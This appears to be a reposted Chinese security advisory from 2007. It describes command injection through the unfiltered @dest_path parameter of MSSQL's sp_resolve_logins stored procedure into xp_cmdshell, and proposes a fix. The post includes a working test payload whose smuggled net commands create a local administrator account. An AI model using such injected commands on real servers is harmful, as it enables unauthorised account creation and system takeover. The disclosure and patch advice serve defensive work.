MSSQL自身存储过程的一个注入漏洞
MSSQL自身存储过程的一个注入漏洞
发布时间:2016-12-26 来源:查字典编辑
摘要:Infos:MSSQL自身存储过程的一个注入Author:疯子[BCT]Date:10/11/2007我看到MSSQL的存储过程中,有模有样...

Infos:MSSQL自身存储过程的一个注入

Author:疯子[BCT]

Date:10/11/2007

我看到MSSQL的存储过程中,有模有样的在过滤。然后我就去读读他们的存储过程。就找到了一个注入而已。

疯子如是说。

漏洞资料如下:

master..sp_resolve_logins存储过程中,对@dest_path参数过滤不严,导致xp_cmdshell注入。

分析:

复制代码 代码如下:

SELECT@dest_path=RTRIM(LTRIM(@dest_path))

--Ifthelastcharis'',removeit.

IFsubstring(@dest_path,len(@dest_path),1)=''

SELECT@dest_path=substring(@dest_path,1,len(@dest_path)-1)

--Don'tdovalidationifitisaUNCpathduetosecurityproblem.

--Iftheserverisstartedasaserviceusinglocalsystemaccount,we

--don'thaveaccesstotheUNCpath.

IFsubstring(@dest_path,1,2)<>''

BEGIN

SELECT@command='dir"'+@dest_path+'"'

exec@retcode=master..xp_cmdshell@command,'no_output'

IF@@error<>0

RETURN(1)

IF@retcode<>0

BEGIN

raiserror(14430,16,-1,@dest_path)

RETURN(1)

END

END

master..sp_resolve_logins存储过程在这一段,经过一定的判断,对@dest_path进行了一定的过滤。

但是没有过滤"(双引号)导致了xp_cmdshell执行任意SQL语句

测试代码:

EXECsp_resolve_logins'text','e:asp"&netuseradminaadmin/add&netlocalgroupadministratorsadmina/add&dir"e:asp','1.asp'

执行上述MSSQL语句,成功添加了一个名为admina的系统帐号

但是此存储过程代码中经过判断,需要系统systemadmin权限的帐号。

疯子提供了一个给其打补丁的方法:

复制代码 代码如下:

用函数fn_escapecmdshellsymbolsremovequotes把@dest_path过滤就OK了。如:

SELECT@dest_path=RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))),这样就不会产生注入了。

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类